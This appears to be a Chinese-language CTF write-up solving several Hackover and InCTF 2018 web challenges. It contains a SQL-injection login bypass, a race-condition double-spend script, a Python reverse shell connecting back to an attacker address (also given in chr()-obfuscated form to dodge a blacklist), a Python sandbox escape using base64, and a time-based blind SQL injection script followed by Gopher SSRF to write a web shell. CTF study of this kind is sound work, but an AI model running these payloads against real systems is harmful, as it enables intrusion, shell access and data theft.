Inctf&HackoverCTF Web部分题目解析

Hackover CTF与InCTF部分Web题目解析

Hackover CTF

who knows john dows?

Description

Howdy mate! Just login and hand out the flag, aye! You can find on h18johndoe has all you need!

http://yo-know-john-dow.ctf.hackover.de:4567/login

alternative: 46.101.157.142:4567/login

题目给的链接中有一个是GitHub地址,在里面有源码存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class UserRepo

def initialize(database)
@database = database
@users = database[:users]
end

def login(identification, password)
hashed_input_password = hash(password)
query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
puts "SQL executing: '#{query}'"
@database[query].first if user_exists?(identification)
end

def user_exists?(identification)
!get_user_by_identification(identification).nil?
end

private

def get_user_by_identification(identification)
@users.where(phone: identification).or(email: identification).first
end

def hash(password)
password.reverse
end

end

显而易见的存在有SQL注入漏洞,其中的hash加密密码更是只把密码反转了下,所以只要构造

1
password=' or 1=1 limit 1#

然后反转一下就可以了

看下Web界面

需要找到一个邮箱

从GitHub下手,把仓库clone到本地后,查看下日志

经过尝试最后john_doe@notes.h18登陆成功

最后尝试注入的时候居然出现了500错误,修改payload为

1
password=' or 1=1 limit 1;#

反转后输入密码,成功得到flag

InCTF

S3cur3 Bank

Description

1
2
3
4
5
6
7
8
S3cur3 Bank 179
======= Difficulty level : Medium ========

It is notoriously called the most secure bank service ever. It allows us to transfer your money between 2 accounts. Can you hack the service to buy a flag???

Link(http://18.188.42.158/)

========== Authors : c3rb3ru5, SpyD3r ==========

题目给了两个账号,相互之间可以互相转账,只有5000金币才可以买到flag,而我们两个银行加起来才2000,这样的题一般情况下就是在执行一项操作时并不会进行锁定,就相当于饭卡里有一百块钱,同时在两台机器上刷都显示100,全部花完后饭卡里没钱了,而我们一共得到了200块钱的食物。

利用脚本一枚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import threading

url = "http://18.188.42.158/bank.php?id=dc90a0a10c79e341f5b521da39dbc585"


def make_money():
data = {"transfer": 1000, "account": "Transfer to B"}
response = requests.post(url,data=data)
print(response.text)

try:
t1 = threading.Thread(target=make_money, args=[])
t2 = threading.Thread(target=make_money, args=[])
t1.start()
t2.start()

except:
print("Error: unable to start thread")

其中的transfer在每次成功后都要改,account在每次运行后都要更改,并不会每次都成功。

最后可以终于买到flag了~~

The Most Secure File Uploader

Description

Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you…You don’t look like a hacker at all…Can you fix this for me? :)

http://18.216.190.57/

Challenge Difficulty

Level:Medium

Web界面一个上传点儿就这么放在了眼前

看到上传界面先上传了个txt

嗯,只能上传图片文件的话我再来一个png文件

还是报错

不过这个报错提示有点儿熟悉,好像是python一样,索性把图片平改成1#.png试一下(#在python中是注释的意思

页面返回正常

试下print

好的!接下来用python写个反弹shell吧

1
exec(import socket, subprocess;s = socket.socket();s.connect(('ip',端口))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read()))

在自己服务器上打开监听,不想却有黑名单存在,不过exec没在黑名单里

利用Ascii编码绕过黑名单

具体做法是把payload改为

1
exec(''.join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(115),chr(111),chr(99),chr(107),chr(101),chr(116),chr(44),chr(32),chr(115),chr(117),chr(98),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(59),chr(115),chr(32),chr(61),chr(32),chr(115),chr(111),chr(99),chr(107),chr(101),chr(116),chr(46),chr(115),chr(111),chr(99),chr(107),chr(101),chr(116),chr(40),chr(41),chr(59),chr(115),chr(46),chr(99),chr(111),chr(110),chr(110),chr(101),chr(99),chr(116),chr(40),chr(40),chr(39),chr(105),chr(112),chr(39),chr(44),chr(50),chr(51),chr(51),chr(51),chr(41),chr(41),chr(10),chr(119),chr(104),chr(105),chr(108),chr(101),chr(32),chr(49),chr(58),chr(32),chr(32),chr(112),chr(114),chr(111),chr(99),chr(32),chr(61),chr(32),chr(115),chr(117),chr(98),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(46),chr(80),chr(111),chr(112),chr(101),chr(110),chr(40),chr(115),chr(46),chr(114),chr(101),chr(99),chr(118),chr(40),chr(49),chr(48),chr(50),chr(52),chr(41),chr(44),chr(32),chr(115),chr(104),chr(101),chr(108),chr(108),chr(61),chr(84),chr(114),chr(117),chr(101),chr(44),chr(32),chr(115),chr(116),chr(100),chr(111),chr(117),chr(116),chr(61),chr(115),chr(117),chr(98),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(46),chr(80),chr(73),chr(80),chr(69),chr(44),chr(32),chr(115),chr(116),chr(100),chr(101),chr(114),chr(114),chr(61),chr(115),chr(117),chr(98),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(46),chr(80),chr(73),chr(80),chr(69),chr(44),chr(32),chr(115),chr(116),chr(100),chr(105),chr(110),chr(61),chr(115),chr(117),chr(98),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(46),chr(80),chr(73),chr(80),chr(69),chr(41),chr(59),chr(115),chr(46),chr(115),chr(101),chr(110),chr(100),chr(40),chr(112),chr(114),chr(111),chr(99),chr(46),chr(115),chr(116),chr(100),chr(111),chr(117),chr(116),chr(46),chr(114),chr(101),chr(97),chr(100),chr(40),chr(41),chr(43),chr(112),chr(114),chr(111),chr(99),chr(46),chr(115),chr(116),chr(100),chr(101),chr(114),chr(114),chr(46),chr(114),chr(101),chr(97),chr(100),chr(40),chr(41),chr(41)]))

拿到反弹的Sehll找到flag

使用globals()函数调用内置函数

先来看下globals()的定义

返回全局变量的字典。

就是这些东东

其中第一项里包含了python的内置函数,可以通过globals().values()[0].__dict__查看

import也是python内置函数,可以通过globals().values()[0].__dict__['__import__'](模块名).function()调用指定函数,例如导入os.listdir()函数

回到题目,本来也可以通过globals()调用os.listdir但是os被禁了,只好采用另一种方式

1
globals().values()[0].__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).listdir('./')

将被禁的字符转化为base64,成功绕过

最后就是利用内置函数open来打开flag文件啦

GoSQL

开始前先来几个MySQL的一些知识

1.字符集为utf-8的情况下

1
2
3
4
Ä = A 
Ö = O
Ü = U
à = a

上述等式是成立的

也就是说

1
àdmin = admin

2.MySQL中 /*select * from users*/表示注释/**/内的语句并不会执行,但是/*!select * from users*/确实可以执行的

3.sleep可以代替if充当判断的角色

当条件为真时

条件为假时

4.可以等效替换的一些关键词

1
2
3
4
where   : having
substr : insert
<space> : %0a
= : in

进入题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
query: select * from inctf2018_chall_2 /**/ username=''
Having a query problem

<?php
include("./config.php");
$conn = mysqli_connect($host,$dbuser,$dbpass,$dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
mysqli_set_charset($conn,"utf8");
$name = $_GET['name'];
$clause = $_GET['clause'];

$blacklist = "pad|admin|'|\"|substr|mid|concat|char|ascii|left|right|for| |from|where|having";
$blacklist .= "insert|username|\/|-|go_to|\||or|and|\\\|=|#|\.|\_|like|between|reg|&|load|file|glob|cast|out|0";
$blacklist .= "user|rev|0x|limit|conv|hex|from|innodb|\^|union|benchmark|if|case|coalesce|max|strcmp|proc|group|rand|floor|pow";

if (preg_match("/$blacklist/i", $name)){
die("Try Hard");
}
if(preg_match("/$blacklist/i", $clause)){
die("You don't need it!!!");
}
$query="select * from inctf2018_chall_2 /*". $clause . "*/ username='" . $name . "'";
echo "<h4>query: " . $query . " </h4>";
$result=mysqli_query($conn,$query);
if($result){
$row=mysqli_fetch_array($result);
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin" . "</h4>";
}
}
else{
echo "<h4>Having a query problem" . "</h4><br>";
}
highlight_file(__FILE__);
?>

可以看到其设置了黑名单,但是

having insert 0 user sleep却没有在黑名单里,其中前四个都是因为拼接的时候没加|导致的,这点儿后面会用到

这一步用前两点构造payload

clause=!having&name=àdmin

进入下一个场景

自然想到SSRF

尝试了file|ftp好像都被过滤了,最后试了下Gopher,没被过滤,那么现在就需要数据库账号了,刚好利用前面的having与insert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from time import time

url="http://18.219.221.225/?clause="
user_name=""
len_user=20
'''
for i in range(1,50):
query=url + "!having%0asleep(((select%0alength(user()))%0ain%0a(select%0a0b" + "{:b}".format(i) + "))*3);%00"
start = time()
req=requests.get(query)
end=time()
if((end-start)>=2):
len_user=i
break
print (i)
'''
print("Got the user length : " + str(len_user))

flag=""
def iterate():
temp=""
for i in range(0,len(flag),2):
temp+="{:b}".format(int(flag[i:i+2])).rjust(8,"0")
return temp


for j in range(1,len_user+1):
for i in range(64,122):
query=url + "!having%0asleep(((select%0ainsert(user()," + str(j+1) + ",255,space(0)))%0ain%0a(select%0a0b" + iterate() + "{:b}".format(i).rjust(8,"0") + "))*3);%00"
print(query)
if i == 65:
exit()
start=time()
req=requests.get(query)
end=time()
if((end-start)>=2):
flag+=str(i)
user_name +=chr(i)
break
print(i)

print ("Got the user name: " + user_name)

得到username:INCTF_SSRF

之后利用了这款工具:https://github.com/tarunkant/Gopherus

构造payload后查看用户读写权限

应该可以读写的,尝试下读取/etc/mysql/mysql.conf.d/mysqld.cnf这是MySQL的配置文件,可以看到能够写入文件到哪里

看出来给了提示/tmp_is_great

于是写shell到/tmp_is_great,最后测试下shell

最后只要cat 一下flag文件就可以啦